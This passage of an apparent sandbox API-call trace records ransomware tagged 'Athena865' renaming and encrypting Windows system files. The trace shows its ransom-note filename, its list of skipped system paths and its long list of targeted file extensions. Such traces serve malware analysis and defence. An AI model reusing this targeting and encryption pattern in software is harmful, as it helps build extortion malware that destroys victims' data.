(lpString1="oxy.dll", lpString2="teacher") returned -1 [0038.108] lstrlenW (lpString="tmd") returned 3 [0038.108] lstrcmpiW (lpString1="dll", lpString2="tmd") returned -1 [0038.108] lstrlenW (lpString="tps") returned 3 [0038.108] lstrcmpiW (lpString1="dll", lpString2="tps") returned -1 [0038.108] lstrlenW (lpString="trc") returned 3 [0038.108] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0038.108] lstrlenW (lpString="trc") returned 3 [0038.108] lstrcmpiW (lpString1="dll", lpString2="trc") returned -1 [0038.108] lstrlenW (lpString="trm") returned 3 [0038.108] lstrcmpiW (lpString1="dll", lpString2="trm") returned -1 [0038.109] lstrlenW (lpString="udb") returned 3 [0038.109] lstrcmpiW (lpString1="dll", lpString2="udb") returned -1 [0038.109] lstrlenW (lpString="udl") returned 3 [0038.109] lstrcmpiW (lpString1="dll", lpString2="udl") returned -1 [0038.109] lstrlenW (lpString="usr") returned 3 [0038.109] lstrcmpiW (lpString1="dll", lpString2="usr") returned -1 [0038.109] lstrlenW (lpString="v12") returned 3 [0038.109] lstrcmpiW (lpString1="dll", lpString2="v12") returned -1 [0038.109] lstrlenW (lpString="vis") returned 3 [0038.109] lstrcmpiW (lpString1="dll", lpString2="vis") returned -1 [0038.109] lstrlenW (lpString="vpd") returned 3 [0038.109] lstrcmpiW (lpString1="dll", lpString2="vpd") returned -1 [0038.109] lstrlenW (lpString="vvv") returned 3 [0038.109] lstrcmpiW (lpString1="dll", lpString2="vvv") returned -1 [0038.109] lstrlenW (lpString="wdb") returned 3 [0038.109] lstrcmpiW (lpString1="dll", lpString2="wdb") returned -1 [0038.109] lstrlenW (lpString="wmdb") returned 4 [0038.109] lstrcmpiW (lpString1=".dll", lpString2="wmdb") returned -1 [0038.109] lstrlenW (lpString="wrk") returned 3 [0038.109] lstrcmpiW (lpString1="dll", lpString2="wrk") returned -1 [0038.109] lstrlenW (lpString="xdb") returned 3 [0038.109] lstrcmpiW (lpString1="dll", lpString2="xdb") returned -1 [0038.109] lstrlenW (lpString="xld") returned 3 [0038.109] lstrcmpiW (lpString1="dll", lpString2="xld") returned -1 [0038.109] lstrlenW (lpString="xmlff") returned 5 [0038.109] lstrcmpiW (lpString1="y.dll", lpString2="xmlff") returned 1 [0038.109] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Internet Explorer\\ieproxy.dll.Athena865") returned 56 [0038.109] MoveFileExW (lpExistingFileName="C:\\Program Files\\Internet Explorer\\ieproxy.dll" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll"), lpNewFileName="C:\\Program Files\\Internet Explorer\\ieproxy.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll.athena865"), dwFlags=0x1) returned 1 [0038.110] CreateFileW (lpFileName="C:\\Program Files\\Internet Explorer\\ieproxy.dll.Athena865" (normalized: "c:\\program files\\internet explorer\\ieproxy.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0038.110] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=451072) returned 1 [0038.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0038.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d0c0 [0038.110] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519228 [0038.110] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x5192b0) returned 1 [0038.111] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0038.111] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.111] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x6e500, lpName=0x0) returned 0x154 [0038.114] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x6e500) returned 0x1f0000 [0038.132] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x5192b0) returned 1 [0038.132] CryptGenRandom (in: hProv=0x5192b0, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0038.132] CryptReleaseContext (hProv=0x5192b0, dwFlags=0x0) returned 1 [0038.132] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d138 [0038.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d138 | out: hHeap=0x4f0000) returned 1 [0038.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52f908 [0038.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511438 [0038.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x511668 [0038.133] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52f908 [0038.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511668 | out: hHeap=0x4f0000) returned 1 [0038.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52f908 | out: hHeap=0x4f0000) returned 1 [0038.133] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x511438 | out: hHeap=0x4f0000) returned 1 [0038.133] UnmapViewOfFile (lpBaseAddress=0x1f0000) returned 1 [0038.137] CloseHandle (hObject=0x154) returned 1 [0038.137] CloseHandle (hObject=0x17c) returned 1 [0038.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d0c0 | out: hHeap=0x4f0000) returned 1 [0038.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519228 | out: hHeap=0x4f0000) returned 1 [0038.142] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0038.144] FindNextFileW (in: hFindFile=0x529450, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa357baf4, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xa357baf4, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xa357baf4, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x47a00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="IEShims.dll", cAlternateFileName="")) returned 1 [0038.144] lstrcmpiW (lpString1="IEShims.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0038.144] lstrcmpiW (lpString1="IEShims.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0038.144] lstrcmpiW (lpString1="IEShims.dll", lpString2=".") returned 1 [0038.144] lstrcmpiW (lpString1="IEShims.dll", lpString2="..") returned 1 [0038.144] lstrcmpiW (lpString1="IEShims.dll", lpString2="windows") returned -1 [0038.144] lstrcmpiW (lpString1="IEShims.dll", lpString2="bootmgr") returned 1 [0038.144] lstrcmpiW (lpString1="IEShims.dll", lpString2="temp") returned -1 [0038.144] lstrcmpiW (lpString1="IEShims.dll", lpString2="pagefile.sys") returned -1 [0038.144] lstrcmpiW (lpString1="IEShims.dll", lpString2="boot") returned 1 [0038.144] lstrcmpiW (lpString1="IEShims.dll", lpString2="ids.txt") returned 1 [0038.144] lstrcmpiW (lpString1="IEShims.dll", lpString2="ntuser.dat") returned -1 [0038.144] lstrcmpiW (lpString1="IEShims.dll", lpString2="perflogs") returned -1 [0038.144] lstrcmpiW (lpString1="IEShims.dll", lpString2="MSBuild") returned -1 [0038.144] lstrlenW (lpString="IEShims.dll") returned 11 [0038.144] lstrcpyW (in: lpString1=0x241e88e, lpString2="IEShims.dll" | out: lpString1="IEShims.dll") returned="IEShims.dll" [0038.144] lstrlenW (lpString="IEShims.dll") returned 11 [0038.144] lstrlenW (lpString="Athena865") returned 9 [0038.144] lstrcmpiW (lpString1="Shims.dll", lpString2="Athena865") returned 1 [0038.144] lstrlenW (lpString=".dll") returned 4 [0038.144] lstrcmpiW (lpString1="IEShims.dll", lpString2=".dll") returned 1 [0038.144] lstrlenW (lpString=".lnk") returned 4 [0038.144] lstrcmpiW (lpString1="IEShims.dll", lpString2=".lnk") returned 1 [0038.144] lstrlenW (lpString=".ini") returned 4 [0038.144] lstrcmpiW (lpString1="IEShims.dll", lpString2=".ini") returned 1 [0038.144] lstrlenW (lpString=".sys") returned 4 [0038.145] lstrcmpiW (lpString1="IEShims.dll", lpString2=".sys") returned 1 [0038.145] lstrlenW (lpString="IEShims.dll") returned 11 [0038.145] lstrlenW (lpString="bak") returned 3 [0038.145] lstrcmpiW (lpString1="dll", lpString2="bak") returned 1 [0038.145] lstrlenW (lpString="ba_") returned 3 [0038.145] lstrcmpiW (lpString1="dll", lpString2="ba_") returned 1 [0038.145] lstrlenW (lpString="dbb") returned 3 [0038.145] lstrcmpiW (lpString1="dll", lpString2="dbb") returned 1 [0038.145] lstrlenW (lpString="vmdk") returned 4 [0038.145] lstrcmpiW (lpString1=".dll", lpString2="vmdk") returned -1 [0038.145] lstrlenW (lpString="rar") returned 3 [0038.145] lstrcmpiW (lpString1="dll", lpString2="rar") returned -1 [0038.145] lstrlenW (lpString="zip") returned 3 [0038.145] lstrcmpiW (lpString1="dll", lpString2="zip") returned -1 [0038.145] lstrlenW (lpString="tgz") returned 3 [0038.145] lstrcmpiW (lpString1="dll", lpString2="tgz") returned -1 [0038.145] lstrlenW (lpString="vbox") returned 4 [0038.145] lstrcmpiW (lpString1=".dll", lpString2="vbox") returned -1 [0038.145] lstrlenW (lpString="vdi") returned 3 [0038.145] lstrcmpiW (lpString1="dll", lpString2="vdi") returned -1 [0038.145] lstrlenW (lpString="vhd") returned 3 [0038.145] lstrcmpiW (lpString1="dll", lpString2="vhd") returned -1 [0038.145] lstrlenW (lpString="vhdx") returned 4 [0038.145] lstrcmpiW (lpString1=".dll", lpString2="vhdx") returned -1 [0038.145] lstrlenW (lpString="avhd") returned 4 [0038.145] lstrcmpiW (lpString1=".dll", lpString2="avhd") returned -1 [0038.145] lstrlenW (lpString="db") returned 2 [0038.145] lstrcmpiW (lpString1="ll", lpString2="db") returned 1 [0038.145] lstrlenW (lpString="db2") returned 3 [0038.145] lstrcmpiW (lpString1="dll", lpString2="db2") returned 1 [0038.145] lstrlenW (lpString="db3") returned 3 [0038.145] lstrcmpiW (lpString1="dll", lpString2="db3") returned 1 [0038.145] lstrlenW (lpString="dbf") returned 3 [0038.145] lstrcmpiW (lpString1="dll", lpString2="dbf") returned 1 [0038.145] lstrlenW (lpString="mdf") returned 3 [0038.145] lstrcmpiW (lpString1="dll", lpString2="mdf") returned -1 [0038.145] lstrlenW (lpString="mdb") returned 3 [0038.145] lstrcmpiW (lpString1="dll", lpString2="mdb") returned -1 [0038.146] lstrlenW (lpString="sql") returned 3 [0038.146] lstrcmpiW (lpString1="dll", lpString2="sql") returned -1 [0038.146] lstrlenW (lpString="sqlite") returned 6 [0038.146] lstrcmpiW (lpString1="ms.dll", lpString2="sqlite") returned -1 [0038.146] lstrlenW (lpString="sqlite3") returned 7 [0038.146] lstrcmpiW (lpString1="ims.dll", lpString2="sqlite3") returned -1 [0038.146] lstrlenW (lpString="sqlitedb") returned 8 [0038.146] lstrcmpiW (lpString1="hims.dll", lpString2="sqlitedb") returned -1 [0038.146] lstrlenW (lpString="xml") returned 3 [0038.146] lstrcmpiW (lpString1="dll", lpString2="xml") returned -1 [0038.146] lstrlenW (lpString="$er") returned 3 [0038.146] lstrcmpiW (lpString1="dll", lpString2="$er") returned 1 [0038.146] lstrlenW (lpString="4dd") returned 3 [0038.146] lstrcmpiW (lpString1="dll", lpString2="4dd") returned 1 [0038.146] lstrlenW (lpString="4dl") returned 3 [0038.146] lstrcmpiW (lpString1="dll", lpString2="4dl") returned 1 [0038.146] lstrlenW (lpString="^^^") returned 3 [0038.146] lstrcmpiW (lpString1="dll", lpString2="^^^") returned 1 [0038.146] lstrlenW (lpString="abs") returned 3 [0038.146] lstrcmpiW (lpString1="dll", lpString2="abs") returned 1 [0038.146] lstrlenW (lpString="abx") returned 3 [0038.146] lstrcmpiW (lpString1="dll", lpString2="abx") returned 1 [0038.146] lstrlenW (lpString="accdb") returned 5 [0038.146] lstrcmpiW (lpString1="s.dll", lpString2="accdb") returned 1 [0038.146] lstrlenW (lpString="accdc") returned 5 [0038.146] lstrcmpiW (lpString1="s.dll", lpString2="accdc") returned 1 [0038.146] lstrlenW (lpString="accde") returned 5 [0038.146] lstrcmpiW (lpString1="s.dll", lpString2="accde") returned 1 [0038.146] lstrlenW (lpString="accdr") returned 5 [0038.146] lstrcmpiW (lpString1="s.dll", lpString2="accdr") returned 1 [0038.146] lstrlenW (lpString="accdt") returned 5 [0038.146] lstrcmpiW (lpString1="s.dll", lpString2="accdt") returned 1 [0038.146] lstrlenW (lpString="accdw") returned 5 [0038.146] lstrcmpiW (lpString1="s.dll", lpString2="accdw") returned 1 [0038.146] lstrlenW (lpString="accft") returned 5 [0038.146] lstrcmpiW (lpString1="s.dll", lpString2="accft") returned 1 [0038.146] lstrlenW (lpString="adb") returned 3 [0038.146] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0038.146] lstrlenW (lpString="adb") returned 3 [0038.147] lstrcmpiW (lpString1="dll", lpString2="adb") returned 1 [0038.147] lstrlenW (lpString="ade") returned 3 [0038.147] lstrcmpiW (lpString1="dll", lpString2="ade") returned 1 [0038.147] lstrlenW (lpString="adf") returned 3 [0038.147] lstrcmpiW (lpString1="dll", lpString2="adf") returned 1 [0038.147] lstrlenW (lpString="adn") returned 3 [0038.147] lstrcmpiW (lpString1="dll", lpString2="adn") returned 1 [0038.147] lstrlenW (lpString="adp") returned 3 [0038.147] lstrcmpiW (lpString1="dll", lpString2="adp") returned 1 [0038.147] lstrlenW (lpString="alf") returned 3 [0038.147] lstrcmpiW (lpString1="dll", lpString2="alf") returned 1 [0038.147] lstrlenW (lpString="ask") returned 3 [0038.147] lstrcmpiW (lpString1="dll", lpString2="ask") returned 1 [0038.147] lstrlenW (lpString="btr") returned 3 [0038.147] lstrcmpiW (lpString1="dll", lpString2="btr") returned 1 [0038.147] lstrlenW (lpString="cat") returned 3 [0038.147] lstrcmpiW (lpString1="dll", lpString2="cat") returned 1 [0038.147] lstrlenW (lpString="cdb") returned 3 [0038.147] lstrcmpiW (lpString1="dll", lpString2="cdb") returned 1 [0038.147] lstrlenW (lpString="ckp") returned 3 [0038.147] lstrcmpiW (lpString1="dll", lpString2="ckp") returned 1 [0038.147] lstrlenW (lpString="cma") returned 3 [0038.147] lstrcmpiW (lpString1="dll", lpString2="cma") returned 1 [0038.147] lstrlenW (lpString="cpd") returned 3 [0038.147] lstrcmpiW (lpString1="dll", lpString2="cpd") returned 1 [0038.147] lstrlenW (lpString="dacpac") returned 6 [0038.147] lstrcmpiW (lpString1="ms.dll", lpString2="dacpac") returned 1 [0038.147] lstrlenW (lpString="dad") returned 3 [0038.147] lstrcmpiW (lpString1="dll", lpString2="dad") returned 1 [0038.147] lstrlenW (lpString="dadiagrams") returned 10 [0038.147] lstrcmpiW (lpString1="EShims.dll", lpString2="dadiagrams") returned 1 [0038.147] lstrlenW (lpString="daschema") returned 8 [0038.147] lstrcmpiW (lpString1="hims.dll", lpString2="daschema") returned 1 [0038.147] lstrlenW (lpString="db-journal") returned 10 [0038.147] lstrcmpiW (lpString1="EShims.dll", lpString2="db-journal") returned 1 [0038.147] lstrlenW (lpString="db-shm") returned 6 [0038.147] lstrcmpiW (lpString1="ms.dll", lpString2="db-shm") returned 1 [0038.147] lstrlenW (lpString="db-wal") returned 6 [0038.148] lstrcmpiW (lpString1="ms.dll", lpString2="db-wal") returned 1 [0038.148] lstrlenW (lpString="dbc") returned 3 [0038.148] lstrcmpiW (lpString1="dll", lpString2="dbc") returned 1 [0038.148] lstrlenW (lpString="dbs") returned 3 [0038.148] lstrcmpiW (lpString1="dll", lpString2="dbs") returned 1 [0038.148] lstrlenW (lpString="dbt") returned 3 [0038.148] lstrcmpiW (lpString1="dll", lpString2="dbt") returned 1 [0038.148] lstrlenW (lpString="dbv") returned 3 [0038.148] lstrcmpiW (lpString1="dll", lpString2="dbv") returned 1 [0038.148] lstrlenW (lpString="dbx") returned 3 [0038.148] lstrcmpiW (lpString1="dll", lpString2="dbx") returned 1 [0038.148] lstrlenW (lpString="dcb") returned 3 [0038.148] lstrcmpiW (lpString1="dll", lpString2="dcb") returned 1 [0038.148] lstrlenW (lpString="dct") returned 3 [0038.148] lstrcmpiW (lpString1="dll", lpString2="dct") returned 1 [0038.148] lstrlenW (lpString="dcx") returned 3 [0038.148] lstrcmpiW (lpString1="dll", lpString2="dcx") returned 1 [0038.148] lstrlenW (lpString="ddl") returned 3 [0038.148] lstrcmpiW (lpString1="dll", lpString2="ddl") returned 1 [0038.148] lstrlenW (lpString="dlis") returned 4 [0038.148] lstrcmpiW (lpString1=".dll", lpString2="dlis") returned -1 [0038.148] lstrlenW (lpString="dp1") returned 3 [0038.148] lstrcmpiW (lpString1="dll", lpString2="dp1") returned -1 [0038.148] lstrlenW (lpString="dqy") returned 3 [0038.148] lstrcmpiW (lpString1="dll", lpString2="dqy") returned -1 [0038.148] lstrlenW (lpString="dsk") returned 3 [0038.148] lstrcmpiW (lpString1="dll", lpString2="dsk") returned -1 [0038.148] lstrlenW (lpString="dsn") returned 3 [0038.148] lstrcmpiW (lpString1="dll", lpString2="dsn") returned -1 [0038.148] lstrlenW (lpString="dtsx") returned 4 [0038.148] lstrcmpiW (lpString1=".dll", lpString2="dtsx") returned -1 [0038.148] lstrlenW (lpString="dxl") returned 3 [0038.148] lstrcmpiW (lpString1="dll", lpString2="dxl") returned -1 [0038.148] lstrlenW (lpString="eco") returned 3 [0038.148] lstrcmpiW (lpString1="dll", lpString2="eco") returned -1 [0038.148] lstrlenW (lpString="ecx") returned 3 [0038.148] lstrcmpiW (lpString1="dll", lpString2="ecx") returned -1 [0038.148] lstrlenW (lpString="edb") returned 3 [0038.148] lstrcmpiW (lpString1="dll", lpString2="edb") returned -1 [0038.148] lstrlenW (lpString="epim") returned 4 [0038.149] lstrcmpiW (lpString1=".dll", lpString2="epim") returned -1 [0038.149] lstrlenW (lpString="fcd") returned 3 [0038.149] lstrcmpiW (lpString1="dll", lpString2="fcd") returned -1 [0038.149] lstrlenW (lpString="fdb") returned 3 [0038.149] lstrcmpiW (lpString1="dll", lpString2="fdb") returned -1 [0038.149] lstrlenW (lpString="fic") returned 3 [0038.149] lstrcmpiW (lpString1="dll", lpString2="fic") returned -1 [0038.149] lstrlenW (lpString="flexolibrary") returned 12 [0038.149] lstrlenW (lpString="fm5") returned 3 [0038.149] lstrcmpiW (lpString1="dll", lpString2="fm5") returned -1 [0038.149] lstrlenW (lpString="fmp") returned 3 [0038.149] lstrcmpiW (lpString1="dll", lpString2="fmp") returned -1 [0038.149] lstrlenW (lpString="fmp12") returned 5 [0038.149] lstrcmpiW (lpString1="s.dll", lpString2="fmp12") returned 1 [0038.149] lstrlenW (lpString="fmpsl") returned 5 [0038.149] lstrcmpiW (lpString1="s.dll", lpString2="fmpsl") returned 1 [0038.149] lstrlenW (lpString="fol") returned 3 [0038.149] lstrcmpiW (lpString1="dll", lpString2="fol") returned -1 [0038.149] lstrlenW (lpString="fp3") returned 3 [0038.149] lstrcmpiW (lpString1="dll", lpString2="fp3") returned -1 [0038.149] lstrlenW (lpString="fp4") returned 3 [0038.149] lstrcmpiW (lpString1="dll", lpString2="fp4") returned -1 [0038.149] lstrlenW (lpString="fp5") returned 3 [0038.149] lstrcmpiW (lpString1="dll", lpString2="fp5") returned -1 [0038.149] lstrlenW (lpString="fp7") returned 3 [0038.149] lstrcmpiW (lpString1="dll", lpString2="fp7") returned -1 [0038.149] lstrlenW (lpString="fpt") returned 3 [0038.149] lstrcmpiW (lpString1="dll", lpString2="fpt") returned -1 [0038.149] lstrlenW (lpString="frm") returned 3 [0038.149] lstrcmpiW (lpString1="dll", lpString2="frm") returned -1 [0038.149] lstrlenW (lpString="gdb") returned 3 [0038.149] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0038.149] lstrlenW (lpString="gdb") returned 3 [0038.149] lstrcmpiW (lpString1="dll", lpString2="gdb") returned -1 [0038.149] lstrlenW (lpString="grdb") returned 4 [0038.149] lstrcmpiW (lpString1=".dll", lpString2="grdb") returned -1 [0038.149] lstrlenW (lpString="gwi") returned 3 [0038.149] lstrcmpiW (lpString1="dll", lpString2="gwi") returned -1 [0038.149] lstrlenW (lpString="hdb") returned 3 [0038.149] lstrcmpiW (lpString1="dll", lpString2="hdb") returned -1 [0038.150] lstrlenW (lpString="his") returned 3 [0038.150] lstrcmpiW (lpString1="dll", lpString2="his") returned -1 [0038.150] lstrlenW (lpString="ib") returned 2 [0038.150] lstrcmpiW (lpString1="ll", lpString2="ib") returned 1 [0038.150] lstrlenW (lpString="idb") returned 3 [0038.150] lstrcmpiW (lpString1="dll", lpString2="idb") returned -1 [0038.150] lstrlenW (lpString="ihx") returned 3 [0038.150] lstrcmpiW (lpString1="dll", lpString2="ihx") returned -1 [0038.150] lstrlenW (lpString="itdb") returned 4 [0038.150] lstrcmpiW (lpString1=".dll", lpString2="itdb") returned -1 [0038.150] lstrlenW (lpString="itw") returned 3 [0038.150] lstrcmpiW (lpString1="dll", lpString2="itw") returned -1 [0038.150] lstrlenW (lpString="jet") returned 3 [0038.150] lstrcmpiW (lpString1="dll", lpString2="jet") returned -1 [0038.150] lstrlenW (lpString="jtx") returned 3 [0038.150] lstrcmpiW (lpString1="dll", lpString2="jtx") returned -1 [0038.150] lstrlenW (lpString="kdb") returned 3 [0038.150] lstrcmpiW (lpString1="dll", lpString2="kdb") returned -1 [0038.150] lstrlenW (lpString="kexi") returned 4 [0038.150] lstrcmpiW (lpString1=".dll", lpString2="kexi") returned -1 [0038.150] lstrlenW (lpString="kexic") returned 5 [0038.150] lstrcmpiW (lpString1="s.dll", lpString2="kexic") returned 1 [0038.150] lstrlenW (lpString="kexis") returned 5 [0038.150] lstrcmpiW (lpString1="s.dll", lpString2="kexis") returned 1 [0038.150] lstrlenW (lpString="lgc") returned 3 [0038.150] lstrcmpiW (lpString1="dll", lpString2="lgc") returned -1 [0038.150] lstrlenW (lpString="lwx") returned 3 [0038.150] lstrcmpiW (lpString1="dll", lpString2="lwx") returned -1 [0038.150] lstrlenW (lpString="maf") returned 3 [0038.150] lstrcmpiW (lpString1="dll", lpString2="maf") returned -1 [0038.150] lstrlenW (lpString="maq") returned 3 [0038.150] lstrcmpiW (lpString1="dll", lpString2="maq") returned -1 [0038.150] lstrlenW (lpString="mar") returned 3 [0038.150] lstrcmpiW (lpString1="dll", lpString2="mar") returned -1 [0038.150] lstrlenW (lpString="marshal") returned 7 [0038.150] lstrcmpiW (lpString1="ims.dll", lpString2="marshal") returned -1 [0038.150] lstrlenW (lpString="mas") returned 3 [0038.150] lstrcmpiW (lpString1="dll", lpString2="mas") returned -1 [0038.150] lstrlenW (lpString="mav") returned 3 [0038.151] lstrcmpiW (lpString1="dll", lpString2="mav") returned -1 [0038.151] lstrlenW (lpString="maw") returned 3 [0038.151] lstrcmpiW (lpString1="dll", lpString2="maw") returned -1 [0038.151] lstrlenW (lpString="mdbhtml") returned 7 [0038.151] lstrcmpiW (lpString1="ims.dll", lpString2="mdbhtml") returned -1 [0038.151] lstrlenW (lpString="mdn") returned 3 [0038.151] lstrcmpiW (lpString1="dll", lpString2="mdn") returned -1 [0038.151] lstrlenW (lpString="mdt") returned 3 [0038.151] lstrcmpiW (lpString1="dll", lpString2="mdt") returned -1 [0038.151] lstrlenW (lpString="mfd") returned 3 [0038.151] lstrcmpiW (lpString1="dll", lpString2="mfd") returned -1 [0038.151] lstrlenW (lpString="mpd") returned 3 [0038.151] lstrcmpiW (lpString1="dll", lpString2="mpd") returned -1 [0038.151] lstrlenW (lpString="mrg") returned 3 [0038.151] lstrcmpiW (lpString1="dll", lpString2="mrg") returned -1 [0038.151] lstrlenW (lpString="mud") returned 3 [0038.151] lstrcmpiW (lpString1="dll", lpString2="mud") returned -1 [0038.151] lstrlenW (lpString="mwb") returned 3 [0038.151] lstrcmpiW (lpString1="dll", lpString2="mwb") returned -1 [0038.151] lstrlenW (lpString="myd") returned 3 [0038.151] lstrcmpiW (lpString1="dll", lpString2="myd") returned -1 [0038.151] lstrlenW (lpString="ndf") returned 3 [0038.151] lstrcmpiW (lpString1="dll", lpString2="ndf") returned -1 [0038.151] lstrlenW (lpString="nnt") returned 3 [0038.151] lstrcmpiW (lpString1="dll", lpString2="nnt") returned -1 [0038.151] lstrlenW (lpString="nrmlib") returned 6 [0038.151] lstrcmpiW (lpString1="ms.dll", lpString2="nrmlib") returned -1 [0038.151] lstrlenW (lpString="ns2") returned 3 [0038.151] lstrcmpiW (lpString1="dll", lpString2="ns2") returned -1 [0038.151] lstrlenW (lpString="ns3") returned 3 [0038.151] lstrcmpiW (lpString1="dll", lpString2="ns3") returned -1 [0038.151] lstrlenW (lpString="ns4") returned 3 [0038.151] lstrcmpiW (lpString1="dll", lpString2="ns4") returned -1 [0038.151] lstrlenW (lpString="nsf") returned 3 [0038.151] lstrcmpiW (lpString1="dll", lpString2="nsf") returned -1 [0038.151] lstrlenW (lpString="nv") returned 2 [0038.151] lstrcmpiW (lpString1="ll", lpString2="nv") returned -1 [0038.151] lstrlenW (lpString="nv2") returned 3 [0038.151] lstrcmpiW (lpString1="dll", lpString2="nv2") returned -1 [0038.152] lstrlenW (lpString="nwdb") returned 4 [0038.152] lstrcmpiW (lpString1=".dll", lpString2="nwdb") returned -1 [0038.152] lstrlenW (lpString="nyf") returned 3 [0038.152] lstrcmpiW (lpString1="dll", lpString2="nyf") returned -1 [0038.152] lstrlenW (lpString="odb") returned 3 [0038.152] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0038.152] lstrlenW (lpString="odb") returned 3 [0038.152] lstrcmpiW (lpString1="dll", lpString2="odb") returned -1 [0038.152] lstrlenW (lpString="oqy") returned 3 [0038.152] lstrcmpiW (lpString1="dll", lpString2="oqy") returned -1 [0038.152] lstrlenW (lpString="ora") returned 3 [0038.152] lstrcmpiW (lpString1="dll", lpString2="ora") returned -1 [0038.152] lstrlenW (lpString="orx") returned 3 [0038.152] lstrcmpiW (lpString1="dll", lpString2="orx") returned -1 [0038.152] lstrlenW (lpString="owc") returned 3 [0038.152] lstrcmpiW (lpString1="dll", lpString2="owc") returned -1 [0038.152] lstrlenW (lpString="p96") returned 3 [0038.152] lstrcmpiW (lpString1="dll", lpString2="p96") returned -1 [0038.152] lstrlenW (lpString="p97") returned 3 [0038.152] lstrcmpiW (lpString1="dll", lpString2="p97") returned -1 [0038.152] lstrlenW (lpString="pan") returned 3 [0038.152] lstrcmpiW (lpString1="dll", lpString2="pan") returned -1 [0038.152] lstrlenW (lpString="pdb") returned 3 [0038.152] lstrcmpiW (lpString1="dll", lpString2="pdb") returned -1 [0038.152] lstrlenW (lpString="pdm") returned 3 [0038.152] lstrcmpiW (lpString1="dll", lpString2="pdm") returned -1 [0038.152] lstrlenW (lpString="pnz") returned 3 [0038.152] lstrcmpiW (lpString1="dll", lpString2="pnz") returned -1 [0038.152] lstrlenW (lpString="qry") returned 3 [0038.152] lstrcmpiW (lpString1="dll", lpString2="qry") returned -1 [0038.152] lstrlenW (lpString="qvd") returned 3 [0038.152] lstrcmpiW (lpString1="dll", lpString2="qvd") returned -1 [0038.152] lstrlenW (lpString="rbf") returned 3 [0038.152] lstrcmpiW (lpString1="dll", lpString2="rbf") returned -1 [0038.152] lstrlenW (lpString="rctd") returned 4 [0038.152] lstrcmpiW (lpString1=".dll", lpString2="rctd") returned -1 [0038.152] lstrlenW (lpString="rod") returned 3 [0038.152] lstrcmpiW (lpString1="dll", lpString2="rod") returned -1 [0038.152] lstrlenW (lpString="rodx") returned 4 [0038.153] lstrcmpiW (lpString1=".dll", lpString2="rodx") returned -1 [0038.153] lstrlenW (lpString="rpd") returned 3 [0038.153] lstrcmpiW (lpString1="dll", lpString2="rpd") returned -1 [0038.153] lstrlenW (lpString="rsd") returned 3 [0038.153] lstrcmpiW (lpString1="dll", lpString2="rsd") returned -1 [0038.153] lstrlenW (lpString="sas7bdat") returned 8 [0038.153] lstrcmpiW (lpString1="hims.dll", lpString2="sas7bdat") returned -1 [0038.153] lstrlenW (lpString="sbf") returned 3 [0038.153] lstrcmpiW (lpString1="dll", lpString2="sbf") returned -1 [0038.153] lstrlenW (lpString="scx") returned 3 [0038.153] lstrcmpiW (lpString1="dll", lpString2="scx") returned -1 [0038.153] lstrlenW (lpString="sdb") returned 3 [0038.153] lstrcmpiW (lpString1="dll", lpString2="sdb") returned -1 [0038.153] lstrlenW (lpString="sdc") returned 3 [0038.153] lstrcmpiW (lpString1="dll", lpString2="sdc") returned 